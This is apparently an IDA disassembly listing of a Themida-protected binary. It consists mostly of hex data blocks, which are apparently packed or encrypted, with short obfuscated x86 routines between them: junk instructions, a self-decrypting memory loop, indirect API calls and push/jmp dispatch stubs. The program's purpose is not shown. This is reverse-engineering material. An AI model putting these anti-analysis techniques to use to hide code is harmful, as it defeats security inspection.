dd 6D1956F9h, 0C8F48B30h, 0C623C201h, 336AAFEBh, 7E8CBh
dd 4D74100h, 0F26E225Fh, 0CF7188D5h, 65A64719h, 0E591B5B1h
dd 18F05C81h, 5D58076Bh, 99A46779h, 7167F6BAh, 3605DBF5h
dd 8584568Fh, 9426FD3Dh, 0B3805DD9h, 0C805D70Ch, 688352D0h
dd 0A749000Ch, 0A3B8BC68h, 411F411Bh, 2601F84Ah, 59401C94h
dd 942601E9h, 18240EBh, 6629426h, 0E89B1A16h, 5E7BF7ABh
dd 0DF92ED5h, 2601E05Eh, 0C6F1DA94h, 2665079Dh, 0FC5D7641h
dd 26F3B50Dh, 0F1D55194h, 7B6A89DCh, 26F33290h, 7A56D294h
dd 91C8A960h, 52CE9E16h, 32F922E5h, 0D968E40h, 0CB8h, 6C205A5h
dd 26A2D98Fh, 0DC1FAAFh, 209CD98Eh, 4B8F799h, 0E488FA06h
dd 0FFB229A5h, 0D78B0ABEh, 0F299209Ch, 320E01BDh, 0DA5BCB77h
dd 0E6AE2B6Bh, 50447932h, 0BC29239h, 71B253D2h, 0A91AA155h
dd 2A1EEF0Ah, 0FEFE336Bh, 4C000006h, 0CC7C4102h, 0EAF1086Dh
dd 1A011910h, 0C9A567F6h, 5A12C9B7h, 0D6F36F23h, 0BD71A65Dh
dd 78B158E3h, 5F2FD863h, 15B86FACh, 204420D4h, 63787F74h
dd 3EE47789h, 36130F03h, 15E30C4Dh, 0F95EBA9Eh, 40314820h
dd 21138490h, 0E00000Ch, 16A5195Ch, 0F483376Eh, 2198144Dh
dd 0FE7D316Eh, 594F0B4Ah, 0CE0DBF2Dh, 0E92ADB5Ah, 540E675h
dd 0E419D249h, 907B8568h, 6BDA5432h, 324FD5D2h, 39504479h
dd 4A835D92h, 0D7239B34h, 0AE708D32h, 0A2BCAD9h, 0EDB02C61h
dd 336AF224h, 0E522C594h, 0B0183531h, 159h, 4479321Ah
dd 0BFFCAF2Ah, 8C7A4FD3h, 0F105B9B2h, 153E5356h, 8FC47B38h
dd 0AC2FC61Bh, 7B2DACD2h, 8CCB7D3Ch, 0C4BF9C98h, 67FC99E7h
dd 84F431Fh, 943C0EBEh, 6A8F265Dh, 397AB7A7h, 0D480D617h
dd 58B608D7h, 2ACD83h, 5C3F0000h, 5D4C1EBDh, 67FC7C74h
dd 0BBEA9692h, 943C7C03h, 0B732D1E2h, 397B35F6h, 0F42FD366h
dd 0D871D7h, 0CC8F0000h, 27FDDA17h, 50447932h, 86589739h
dd 0F5D211B3h, 0A4D99209h, 0FD32D9F0h, 28328A41h, 540B6DCCh
dd 0BF56AB1Fh, 9D1C421Ch, 42D9A7E7h, 0B252B27Eh, 0F2D2B98Eh
dd 0F0980515h, 92A71B0Eh, 0D2789420h, 5E8BE797h, 63CCD993h
dd 1EE4F90Fh, 53562842h, 94205DEFh, 2A4E2B07h, 0ACBEFDAFh
dd 92F3CDBFh, 0F207BB5Dh, 0FC3BED6Ch, 499944Fh, 9B0C184Ah
dd 0AE4h, 6ADE21D1h, 4AFE35EBh, 61DD16CBh, 44F835DAh, 58D413B5h
dd 40E41672h, 1BCE4D01h, 33D75EDAh, 0EB544F8h, 966A65D9h
dd 0DA552F93h, 62EAC76Bh, 225F04D7h, 5ED5F26Eh, 6E9862AAh
dd 0A68AB6C7h, 0B96DD5D4h, 0AD896DCCh, 422B15C9h, 0D1065F55h
dd 0FDB6938Ah, 0C39D1146h, 8854EE9Dh, 0B4B06DCCh, 79320D97h
dd 0DCC807A9h, 11887C58h, 40A9255Ah, 501h, 2D96D78Ch, 7A4626DAh
dd 0B1EA9F16h, 31AA499Ch, 0D57A411Fh, 17C8C398h, 0AF67FCEFh
dd 2E98BFB3h, 0CD943C9Dh, 17DA1FB6h, 0F7397A55h, 254h
dd 7C5F0255h, 0EB0A6DCCh, 352BDEF0h, 0CD67F61Ah, 1E2E3948h
dd 0A1C5FBA3h, 822AB1CFh, 0FEDB574Bh, 0E6508E35h, 0C29D7918h
dd 0A82FABC7h, 0E9D6CAFFh, 92D376CAh, 8C5E82DEh, 546E772h
dd 642CEFD8h, 45224D3Eh, 155C1D5Eh, 20CDA99Eh, 4031CEBBh
dd 0E9D2C3D3h, 0D6000009h, 0BE3DF134h, 0DC5BCF06h, 0E970EC25h
dd 0C6550946h, 8167E322h, 0F635D705h, 0D112B342h, 0ED28DE5Dh
dd 0C41EA71h, 0A8635D50h, 6BDA561Ah, 32179DFAh, 39504479h
dd 4A835D92h, 0FF185C47h, 0F705D01h, 0A81944E5h, 0CF8C7A4Fh
dd 530C15ACh, 0AED0AA1Eh, 0CC7F47FBh, 0A6C39F6Dh, 6B3320F1h
dd 19A0033h, 0D74A0000h, 70245D04h, 932FDAF4h, 736DCC7Ch
dd 0B259E2F7h, 5912897Dh, 0DD8F4A24h, 0B015C99Eh, 0F198B229h
dd 67FC11C8h, 3C2EE23Eh, 0BA8FC87Dh, 239675D1h, 44DB9894h
dd 7B4050A1h, 693039h, 304E0000h, 239EC979h, 1C312D94h
dd 6004D790h, 3AF17521h, 0C9AD5994h, 19C251B4h, 87D17447h
dd 0C0CD7D86h, 0D4C0A40Eh, 0A6657B50h, 67FC638Dh, 0B2F9AD89h
dd 943C6214h, 564A8529h, 0DA518A3Fh, 1F06FA33h, 0AFBC160h
dd 0C201A336h, 0A67552CEh, 0F6B5CB0Fh, 943C624Ch, 0E8AFCCA8h
dd 397B1825h, 0CF05h, 8C40FB00h, 3294304Dh, 39504479h
dd 2DAC5897h, 0E7253876h, 0F27B6A3Ah, 0FCA322CEh, 0F45413C7h
dd 456DCC2Ch, 0BF5699Eh, 0B5619850h, 372824A8h, 8C689DF8h
dd 0D4070E6Fh, 0FFAE4FAh, 6DCC85B3h, 9230D753h, 0AB6DCC85h
dd 4ED2BEF5h, 0D3A5C29Eh, 0FA48E8D8h, 0B5230867h, 0C9C4A2B2h
dd 7BC7C29Ch, 9B942270h, 0B7C9A3BFh, 21467B24h, 2A594806h
dd 9A2136C7h, 7403B7F6h, 8D2C91D0h, 0A14A0691h, 85EE4F5h
dd 9B4B0000h, 0AF55E458h, 9035C478h, 0AF54E357h, 8D3FB672h
dd 90ECDA4Eh, 0BB6FAE62h, 9448893Ch, 0B2266105h, 93477C23h
dd 5DE5A498h, 0B96BDA57h, 7E32703Ch, 0F5AE2D3Fh, 0A433ABC0h
dd 0B7B4C6FBh, 47FA3A65h, 0A4E18658h, 9533ABC0h, 245D04D7h
dd 95D38C47h, 81AF79A4h, 4BF1D64Dh, 6A0F4673h, 5A256C51h
dd 820CDA32h, 6C13B25Eh, 7E028337h, 7A000002h, 4C1EBD5Ch
dd 0F61A2D5Dh, 0C9BDB967h, 259E24A2h, 15ACC794h, 8153FDD0h
dd 22EDD39h, 22F0000h, 6DCC7C5Fh, 0DEF0EB0Ah, 0F61A672Bh
dd 29431F67h, 8C4F9B2h, 0F1A5DA91h, 14E6F504h, 15E05415h
dd 0D176F29Eh, 40314AF0h, 9DF3E4B0h, 8A000007h, 0B229A5E8h
dd 9007C3FAh, 0AD2CA0D9h, 7A01BDFAh, 252397D6h, 0BAF9ABD9h
dd 95D677FEh, 0B1ECA219h, 90C57EFDh, 5C4F311Ch, 6BDA50E6h
dd 321BA1FEh, 0DE504479h, 6822EFEDh, 0EB00D264h, 45E7B770h
dd 3A161A06h, 0F74B3E20h, 486DCC69h
dd 0B6BA66A3h, 918D6AC6h, 0CE08A7BCh, 6D195A0Bh, 77C1E400h
dd 9EDBB6Fh, 0F0C067F4h, 75AA613Dh, 0A5C1A551h, 0F79B7629h
dd 817B336Ah, 0D1000001h, 50447932h, 69AA5BDEh, 17A4B9BDh
dd 9D7F3B70h, 422E671Eh, 5D7C09DEh, 97926C7Eh, 6DCC7C2Bh
dd 667A4FCBh, 0FC1186A3h, 0F0A48067h, 0CA09BB7Eh, 0E2C951D6h
dd 2E64368Ah, 0F04E3512h, 139423DBh, 0C805C160h, 8A1F943Ch
dd 0A55BDA2Ah, 4BA6596Eh, 2B397BB6h, 4Dh, 0A2E38655h, 11B372EEh
dd 5C2FF5D2h, 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 5CE4104Eh
dd 0F1877377h, 73B256D5h, 4501A856h, 0DA943C94h, 0B80A0136h
dd 5C943C94h, 9930E400h, 0D9CBB7F8h, 54458B2Ah, 8C65801Fh
dd 6C397A4Dh, 0CEh, 447932DEh, 58973950h, 0A6762DACh, 5CCEC203h
dd 0CC7C15ADh, 5175F16Dh, 610A8175h, 23F9B02Ch, 0FC6DCCF6h
dd 459A0E43h, 2D532DAEh, 0FAEA5853h, 0E0A9233h, 33FADB67h
dd 0ADF3B92h, 370D33F6h, 89E59805h, 53CE477h, 20381511h
dd 0A6B8F799h, 0C6548DA5h, 226D58E6h, 0B821469Ch, 0FC7A449h
dd 0EA58532Dh, 0A942027h, 4C161305h, 4420503Ch, 0B9F8AC27h
dd 4348914h, 28B1654Ah, 5FCh, 520649E9h, 72E61DC3h, 49053EE3h
dd 6CE01DD2h, 40FC3BEDh, 18CC3E4Ah, 33D665D9h, 0BBF36F2h
dd 26DD5CD0h, 6E523DF1h, 0DA5207BBh, 3A02DF6Bh, 2D3F7E32h
dd 90BDF8AEh, 424B4D08h, 793D1A71h, 0F9C2A6A7h, 314D3799h
dd 0B3E89F1Ch, 793271F7h, 92395044h, 3268E15Dh, 0D4000000h
dd 5B4E7932h, 6DCC7CE7h, 533F23FFh, 0AA568B34h, 98936D0Fh
dd 6DCC7C2Ah, 0AA794ECAh, 0FAB1CF0Bh, 6DCC7C48h, 209BB0ACh
dd 0D763267h, 30h, 0A96D77Fh, 8C3D51E9h, 0E2895227h, 15B2F9ADh
dd 0FD6DCCBAh, 30AB2FC6h, 0D0544079h, 528740FBh, 0A7675378h
dd 826EAF62h, 9BFAB99Eh, 3FCD9166h, 2A447932h, 0AE54941h
dd 0A2B7A5ADh, 0CA080FE4h, 1258A907h, 58724E6Bh, 0F6CFD5B1h
dd 9BB5B167h, 76326720h, 0D17848FFh, 7FC3C698h, 979426CAh
dd 0F6CBB79Bh, 27E2FCDFh, 9E1CAC8Ah, 633DEF6Ah, 0B35F83C0h
dd 885E8AAFh, 0FFE95DFDh, 223C38EAh, 375B2429h, 0A9BEAE9Eh
dd 265B04D7h, 477C23B2h, 834F665Bh, 0C8AB3FACh, 0AAC4A0B3h
dd 281BCEFFh, 0AF1C1894h, 5E2C8222h, 0C1891A0Ah, 0AE000004h
dd 7605B9FCh, 942397CEh, 81F8B4EDh, 9E1D91CEh, 392FABEAh
dd 0AEED9FCDh, 89CA7BFAh, 65A046D5h, 84B972E9h, 30DBE5C8h
dd 6BDA5392h, 32AF7572h, 0E75B4E79h, 0FF6DCC7Ch, 0C8B3F23h
dd 1F4C1E53h, 8726D731h, 1486D0B9h, 205F5E2h, 5848257h
dd 5E7D295Eh, 22B96DA8h, 2C3F336Ah, 1BD0FC93h, 9F48E988h
dd 0D05B906Ah, 70A8FBAh, 6B97D5Ah, 336AF4ABh, 458Bh, 0BD5C0100h
dd 645D4C1Eh, 8267FCCAh, 0D4AAD4A6h, 23CE6DD5h, 0D0AD8994h
dd 4A245F03h, 6BB5521h, 0ACF38D6Ch, 0FC5AABE5h, 5509DE02h
dd 23632E96h, 0A48FF94h, 9C05C856h, 28A4C01Ah, 0CEC2FDB1h
dd 403C5h, 96D73700h, 0C456E9FDh, 0CC7A436h, 324C1E53h
dd 0CCE6CB77h, 52392B6Dh, 6DCCE6F0h, 1F3C1814h, 8ABF685Fh
dd 0B96DECCEh, 0B98E927Eh, 7C4E8D2Ch, 0FC8BAC8Dh, 12FE5A67h
dd 3CF8FB43h, 0CA691A94h, 7AA5DE2Fh, 3DBE39h, 0D70C0000h
dd 472B1096h, 28155F47h, 5E458912h, 98E502E6h, 89805A81h
dd 67FC74A8h, 57FEF26Eh, 943C7BEFh, 1BDE750Eh, 397B2ED2h
dd 0D56D1C42h, 31942387h, 9AB6F79Ah, 0A70BBDh, 32810000h
dd 542A4479h, 0CC7CED55h, 502D096Dh, 5695374Eh, 3F742BAAh
dd 0AC62D953h, 28DF5C71h, 89037F3h, 966DCC01h, 8701C168h
dd 89E59233h, 0B40E774h, 0EA1FC84Fh, 0B12AC936h, 0F42FEC9Fh
dd 5BD79803h, 687382DFh, 3AF16896h, 38151105h, 155C7F4Bh
dd 0D1AB879Eh, 0B327660Ah, 0FDA68024h, 7C58DCC8h, 35A6D8CFh
dd 0D7C0D440h, 310h, 4E0A4DFDh, 6EEA21C7h, 550942E7h, 68E421C6h
dd 4C003FF1h, 0FCB0225Eh, 0D77A01BDh, 0EF932296h, 0CA81F8B4h
dd 4A361995h, 0DA4DE35Fh, 1EA6036Bh, 8B3F7E32h, 0AA1E530Ch
dd 1EBD5C1Ch, 0C139324Ch, 15A192B4h, 58EAA1BBh, 0BC6DCC5Bh
dd 0B3A08B60h, 5367FC5Bh, 8C8ED3CEh, 2440661Ch, 0A71F214Ah
dd 391C8840h, 51765A95h, 62CE8C8Dh, 39E50275h, 3CDAD472h
dd 27393794h, 3CDADE64h, 203A3694h, 3CDAD969h, 0CE13D94h
dd 945D9837h, 74397A8Fh, 0B3h, 0AA96D7D6h, 0D47AB1CCh
dd 0A14A11E6h, 85C6B86Ch, 644B8110h, 54DFFCE2h, 0D68571B0h
dd 6DCC1A56h, 0B1CB00A7h, 6A66DCCFh, 0A27E6DCCh, 0E18A11C5h
dd 0EC0BF8ACh, 0ED2EDDEFh, 9967FC19h, 994CBE94h, 765AAC0Eh
dd 0EA565DC2h, 171B0746h, 0B16A213Bh, 559E0A5Fh, 903407D9h
dd 0AA5EDD51h, 0AF9DFE6Bh, 0F9AD4036h, 213F0h, 0B4E0000h
dd 0E920C84Fh, 63FE675h, 0E320C352h, 0FD3CF067h, 0CD3F4B41h
dd 0D960DC1Bh, 0B443F738h, 0E057D30Eh, 5336F227h, 4E00C269h
dd 7E46BDAh, 3F7E323Dh, 862AB18Bh, 2A93247h, 0AC2F11CDh
dd 0AB8EBBF6h, 0C3C0B4B3h, 0D7FDC7A4h, 75216004h, 8C78AD56h
dd 24AFCCA8h, 0B9FAAB7Bh, 0EE9DC39Dh, 6DCC7C54h, 0AFC3B07Bh
dd 0EBA3DDC5h, 34309279h, 58D46DCCh, 289F5F7Ch, 0BDFEAF7Fh
dd 39EE6DC9h, 482C08FCh, 6AD73536h, 0BBBFAD80h, 0EAA1189Eh
dd 0EC6FC1B5h, 2D09FD34h, 0B526AD50h, 26A3F09Bh, 7A4167FCh
dd 0BBBF9CD1h, 9221B35Fh, 4E7932F3h, 3C69E75Bh, 3F23FF94h
dd 0EA58532Dh, 0A943C69h, 9B85390Eh, 0CFD290B2h, 0E603E565h
dd 815B8097h, 0C5B218Ah, 9D89E59Eh, 641045FEh, 84DB7A49h
dd 0C5946675h, 0EF11E621h, 7E54DC11h, 9B0FCDFFh, 8674FAEh
dd 9CB185B3h, 1CFC4AEFh, 6F57BC94h, 8CF6E441h, 3DF1CCFh
dd 0AF639E44h, 0FEBD8FB3h, 11160A4Bh, 0F5B17AAEh, 76536F49h
dd 0C29239C0h, 3E22CE0Fh, 0B3576E22h, 5B656678h, 87AE0498h
dd 0FFE995B2h, 0B229AD44h, 54D0C4F9h, 3303BC77h, 0C1A55192h
dd 5810CBA5h, 73E87521h, 5FD7E862h, 0D28C6185h, 5B75666Dh
dd 2C9EE3B0h, 0DBC7A38Ah, 22CE03BCh, 0ED6201B0h, 30DBF5E6h
dd 803C4263h, 2E934723h, 6F1A34A7h, 864623C6h, 9930E440h
dd 1F01BDF2h, 0D4A9E89Ch, 0DA906007h, 88CFC39Fh, 0EFE5880Ch
dd 223C2E1h, 0ED7B0B49h, 0CD078FD8h, 5B04D7A9h, 0E8D5126h
dd 0C37F2A55h, 23CEC624h, 5772B47h, 77549136h, 0D6CA07BCh
dd 25D10ABFh, 0DCC8FDA6h, 349837CAh, 0B7BFAC82h, 5FC39C84h
dd 40DFC499h, 0B25A2AE1h, 0F9E3577Bh, 0E69E24E7h, 5554CEC6h
dd 0CEC6E6EDh, 0F9752D09h, 72B057E4h, 419946BAh, 4B371BABh
dd 8BC26AF1h, 12F36Eh, 0D7490000h, 7C4002A9h, 0C8A46DCCh
dd 71255A11h, 0C288D8F5h, 493D8032h, 0B0649952h, 463A7519h
dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h
dd 55417830h, 0E28952CFh, 4BF57h, 0FA010000h, 4EA835Fh
dd 5C241487h, 5A5F68h, 24348900h, 3CE668h, 241C8900h, 0A742B7BEh
dd 17BB5354h, 81216762h, 0CD7301F3h, 2EBC135h, 5887F381h
dd 0DE01B444h, 4EC815Bh, 89000000h, 4832424h, 835B0424h
dd 348904ECh, 242C8124h, 778142D9h, 8108438Fh, 42D90843h
dd 34FF7781h, 0C4815B24h, 4, 5324348Bh, 0C381E389h, 4
dd 8704C383h, 0E95C241Ch, 0FFFA4B7Ch, 70EE92FCh
dd 0BB07BBDh, 16346AB8h, 0FFC50306h, 79D519E0h, 6136D263h
dd 0B85F3041h, 6D9F561Fh, 75027940h, 97030763h, 0BC7D933Fh
dd 0D98A9838h, 0EB191851h, 2034B538h, 81B88025h, 61893064h
dd 0A4DD1417h, 95C6330Dh, 0C15FAD13h, 0BCE6C673h, 81C2091Bh
dd 42F7430Bh, 0E391B58h, 0C87FD54Ah, 3A851D7Eh, 9E80F012h
dd 352D2432h, 299DB808h, 763E5F6Eh, 3540B67Ch, 13AA3105h
dd 5BEFC300h, 3E8D8D18h, 6A061636h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0E66CC357h
dd 30F9858Bh, 8D890610h, 61009F5h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 0E8C35242h, 60E9EB28h, 6654E380h
dd 6146C2BFh, 280D9D8Bh, 85C70610h, 6102319h, 6998h, 1C19D29h
dd 85C70610h, 61022C1h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5AEA5F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AEA5F proc near ; CODE XREF: Themida_:005AEA57p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5AEA5F endp
; ---------------------------------------------------------------------------
db 0EDh
; ---------------------------------------------------------------------------
dec esi
aas
cwde
and al, 0A0h
test [edi], dl
mov [ebp+6100C6Dh], eax
push dword ptr [ebp+6102ED5h]
jmp loc_5AEA9C
; ---------------------------------------------------------------------------
dd 0FC872E79h, 1CC02062h, 0DF5CD8DFh, 0D4929218h, 0B8D7E19Eh
; ---------------------------------------------------------------------------
loc_5AEA9C: ; CODE XREF: Themida_:005AEA83j
call dword ptr [ebp+6102DB9h]
push 0
call dword ptr [ebp+61031C9h]
mov eax, eax
jmp short loc_5AEACA
; ---------------------------------------------------------------------------
dw 5DC5h
; ---------------------------------------------------------------------------
sbb [esi+20h], edx
mov ah, 61h
retn
; ---------------------------------------------------------------------------
mov al, ds:89CFFDEDh
add al, 3Ch
mov bh, 78h
popa
lahf
fidiv word ptr [ecx+43h]
inc ebx
adc eax, 2E9FB1BBh
loc_5AEACA: ; CODE XREF: Themida_:005AEAACj
call near ptr sub_5AEAE0
xor [ecx], edi
xchg eax, [ecx-6D56D6FFh]
cdq
; ---------------------------------------------------------------------------
dd 0CC645C8Fh, 6490939Fh
; =============== S U B R O U T I N E =======================================
sub_5AEAE0 proc far ; CODE XREF: Themida_:loc_5AEACAp
mov ax, 0FF46h
pop ecx
mov ax, si
add ecx, 6800h
mov esi, edx
push 0
mov esi, [ebp+6103169h]
pop edi
mov [ebp+6102199h], ebx
loc_5AEB02: ; CODE XREF: sub_5AEB29+4Bj
mov ebx, [ecx+edi]
or [ebp+61023B1h], ebx
add ebx, 5EAED0F0h
call sub_5AEB29
retf
sub_5AEAE0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
cli
wait
mov al, 0EBh
sar dword ptr [ebp+edi-34920663h], 1
retn
; ---------------------------------------------------------------------------
db 12h
dd 5EECA1ECh
db 12h
; =============== S U B R O U T I N E =======================================
sub_5AEB29 proc near ; CODE XREF: sub_5AEAE0+31p
; FUNCTION CHUNK AT 005534D8 SIZE 00000047 BYTES
push ebx
mov eax, [ebp+61020B1h]
pop edx
pop esi
sub ebx, 6AE41D14h
movsx eax, cx
add ebx, 688B8673h
jns loc_5AEB4D
mov eax, [ebp+61018F9h]
loc_5AEB4D: ; CODE XREF: sub_5AEB29+18j
mov [ecx+edi], ebx
mov [ebp+61021A5h], ecx
js loc_5AEB62
sub [ebp+6102A05h], esi
loc_5AEB62: ; CODE XREF: sub_5AEB29+2Dj
sub edi, 1
dec edi
dec edi
dec edi
mov [ebp+6102ACDh], edx
cmp edi, 0FFFF98B8h
jnz loc_5AEB02
jmp loc_5AEB8B
; ---------------------------------------------------------------------------
db 0B2h
dd 0D847995Ah, 0F17F8E34h
db 0FCh ; ü
db 0A4h ; ¤
db 47h ; G
; ---------------------------------------------------------------------------
loc_5AEB8B: ; CODE XREF: sub_5AEB29+51j
jmp loc_5AEC19
; ---------------------------------------------------------------------------
dd 26051B78h, 0BAF5CC47h, 66D138F3h, 9FABAFD6h, 7C4DB297h
dd 95B7E3h, 0E9A9E572h, 9BB69CB5h, 0B6F37760h, 9EB794A9h
dd 7D60D760h, 9EA9BD89h, 729EBD8Ch, 4A95ACE3h, 9BB98B20h
dd 9D89937Eh, 0AFF496B9h, 94A19E96h, 91A7D6B5h, 48D100FDh
dd 33594ACCh, 5200713Ch, 0F357DB4Dh, 0EFB6005Eh, 0BD899DBBh
dd 9F899500h, 97BBEFB6h, 0B1B6D000h, 527155C3h, 0DA43700h
dd 910D3C2h, 0Eh, 2 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5AEC19: ; CODE XREF: sub_5AEB29:loc_5AEB8Bj
jmp loc_5AFC93
; ---------------------------------------------------------------------------
push 6163966h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6163A99h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6163B8Eh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6163C9Dh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6163D0Eh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6163DBBh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6163E62h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6163EEAh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6163FD5h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61640A4h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6164188h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61642D0h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 616454Fh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6164674h
jmp loc_5534D8
; ---------------------------------------------------------------------------
dw 53F3h
dd 671D9C10h, 48FD7C30h, 671C9B0Fh, 8527AE2Ah, 68949246h
dd 0A31756FAh, 7C307114h, 9A0E49FDh, 7B2F641Bh, 45FDAC90h
dd 0A16BDA44h, 79327844h, 92395044h, 7584E15Dh, 1EC59466h
dd 24393DE9h, 0BF29223Ch, 5B93A006h, 2A0FFCD1h, 0DC67FCD5h
dd 79C59480h, 9C943CD3h, 4DFFBAA4h, 17FE620Eh, 943CD3ABh
dd 9032D94Bh, 74943CD3h, 1CFFDCF8h, 0D17A4185h, 0F5B8BF9Ch
dd 0D5397A7Ah, 38h, 1EBD5C37h, 7C745D4Ch, 8D9267FCh, 9D96B4BDh
dd 60E2C97Fh, 84943CC7h, 0FCA8CCA8h, 67CD4982h, 331B318Eh
dd 0DAD16D16h, 7F34943Ch, 8FAC05E0h, 0B88C397Ah, 0FE000000h
dd 50447932h, 0AC589739h, 276407D2h, 59E2F77Bh, 12897DB2h
dd 1A82459h, 6DCC017Ah, 994E1EC5h, 35C4785Ch, 58AD598Eh
dd 79401AC1h, 98C09DD2h, 3F1F0F1h, 401A1698h, 0DE77810Bh
dd 0F409D057h, 24C9906Ah, 686F0EEBh, 1F534D8h, 7C2F4125h
dd 9E1597D7h, 0A219332Fh, 326F14EEh, 691B9A0Eh, 0C598BD2Ah
dd 0E4B04034h, 0E19F3h, 0D71ACC00h, 0F52CD463h, 0D20BC239h
dd 0EF2CDF56h, 0C908BC3Bh, 79EB1715h, 952498D7h, 80F7B3F4h
dd 9C1B8FCAh, 0FFAAEE3h, 45C47E2Dh, 0C3206BDAh, 3F7E32F9h
dd 9ECFB18Bh, 0D22D5126h, 53EF962Eh, 0B36DCC24h, 7219A2B7h
dd 5CEB813Dh, 0FBB128BDh, 7C6DD5C4h, 0AD896DCCh, 463A7B2Eh
dd 65F406EAh, 989C88BFh, 1A2F7021h, 7C6E4346h, 0CCA867FCh
dd 917866D8h, 943C7C31h, 878459D5h, 943C7C3Fh, 0EB0EA5DEh
dd 397B3622h, 45295992h, 0CE759C2Ah, 238567DBh, 0BFA37F94h
dd 0D646AAh, 0D7840000h, 407D32A9h, 0CC7CE959h, 3C110D6Dh
dd 0DF93C87Fh, 0AB8738Dh, 0EA6DCC7Ch, 2EE2596Eh, 7CB012F9h
dd 0D8546DCCh, 0DA6108FCh, 256DCC01h, 695497Eh, 2856285Dh
dd 3380C181h, 34492592h, 0CA767D72h, 3C38EC21h, 71184618h
dd 923380D1h, 3C243935h, 0BAF19722h, 968D6AC6h, 9803F68Dh
dd 34914D29h, 3A2436A5h, 2391F34Fh, 32171394h, 364F7310h
dd 2F51267Fh, 1546C67Ch, 28421E9Eh, 0ABC0FFB1h, 236206D5h
dd 3D7C30A7h, 35ECA190h, 0D0D9CD40h, 0CE6h, 2B6F999h, 2296CD73h
dd 0F9B5EE93h, 1C90CD82h, 30ACEB9Dh, 0E89CCE3Ah, 3A635A9h
dd 0DB8F06C2h, 0F6AD2CA0h, 1E220DC1h, 0DA46D76Bh, 0EAB22F6Bh
dd 8B3F7E32h, 0AC15530Ch, 1985A7A6h, 0BD4BFFE3h, 50447932h
dd 0B90900DEh, 5D6DCC7Ch, 0B86FEC01h, 1C0841E8h, 0F9803C18h
dd 7A411B54h, 8BE79BD2h, 0FEDB16CCh, 0ADE28900h, 0BA3F8D31h
dd 0D0AEC01Bh, 9B3ABC9Bh, 2C41CC1Bh, 0FCCEE27Fh, 0AD280467h
dd 0B2E741FEh, 47F9008Ch, 0B5B165A6h, 0CF8EBF91h, 1352F6A8h
dd 3BD6035Fh, 28502DF6h, 9A4C8081h, 0D7146665h, 3A5E42F9h
dd 0C77B2A72h, 58919AC6h, 0A58175B4h, 0A15571EDh, 4416C554h
dd 0AD3B6745h, 82289F9Bh, 0CDB9F8ACh, 9D998D69h, 497AC8C3h
dd 0BE9A9B8Fh, 5A11C8A2h, 0D9904B25h, 0CA2EBBA0h, 7135EF2Dh
dd 0AC53E25Ch, 1F71D277h, 653145ABh, 0BF174h, 0BF02A400h
dd 9DD48C0Bh, 0BAF39A21h, 97D477FEh, 0B1F09423h, 81F30FFDh
dd 9D1C90CFh, 0A82FABECh, 8413C702h, 3732A6DBh, 47FC4645h
dd 9B186BDAh, 44793211h, 87546350h, 1EDDB675h, 22B967FCh
dd 9A0E326Bh, 532DAE45h, 0C8AD402Dh, 0B354A9B2h, 0BE0CED96h
dd 1EFA9E13h, 0C59B2372h, 497A9E13h, 7C7E4FAAh, 475E3F8Bh
dd 0AC000000h, 4C1EBD5Ch, 0FCCA645Dh, 319D8267h, 7072A37h
dd 647EA61h, 3BEE10EAh, 94230B87h, 0C6BAEF98h, 0FFB6B26Ah
dd 1D190D4Eh, 0EDA11840h, 0F14FF6B2h, 4A94230Bh, 69F06CA1h
dd 0A4968AC5h, 18357215h, 0B41A9h, 0BD5C2300h, 0F5D4C1Eh
dd 9767F633h, 49E20A92h, 970ECF52h, 68CCB8F3h, 40E7728Ch
dd 1FC84F0Bh, 2AC936EAh, 2BEC9FB1h, 0D39E1F0Ah, 0DB68557h
dd 0BF7A64D8h, 42F9CE0Dh, 53A05489h, 464517C4h, 942F0771h
dd 7E9F888Dh, 24A137B4h, 0E3086B54h, 0EFD31C8Dh, 2AF0C34Ah
dd 0EEF7AF5Eh, 0AE2h, 0F6B2F595h, 1692C97Fh, 0FDB1EA9Fh
dd 0D08CC97Eh, 0F468A749h, 0B4588AF6h, 8F42B975h, 0A75BDA4Eh
dd 0C269F06Ch, 0E2DED18Dh, 0DA409B27h, 961E7B6Bh, 0CC7C4402h
dd 0F1F4036Dh, 0CC7C883Ah, 0D4F06C6Dh, 33C60FFAh, 0A48067F6h
dd 94B2A1CAh, 0BE53AAA5h, 5B04D7A9h, 7C23B226h, 4F665B47h
dd 0DAB7728Ch, 0BC9E15CAh, 1F7EFB60h, 3E564031h, 0A7155h
dd 3F822400h, 1D540C8Bh, 3A731AA1h, 1754F77Eh, 317014A3h
dd 1738F7Dh, 1D9C104Fh, 28AF2B6Ch, 4934782h, 0B7B2265Bh
dd 417CC6C5h, 1B986BDAh, 44793291h, 0E4EDDE50h, 60F66F49h
dd 21CA9166h, 329138ECh, 787B5693h, 0CD5B336Ah, 0B1000004h
dd 15D596D7h, 8F9B3A7Eh, 0A4B99DDEh, 5729B241h, 0C4F9B229h
dd 8C7754D0h, 67F6EE7Fh, 8A512B07h, 0A930ACE1h, 67D9CD02h
dd 0CE0FC279h, 0EB573E22h, 449426D9h, 0B1B561A0h, 9B8865C1h
dd 9426D923h, 2A44971Eh, 0D5C1FAAFh, 0A5647C51h, 9E16BBCCh
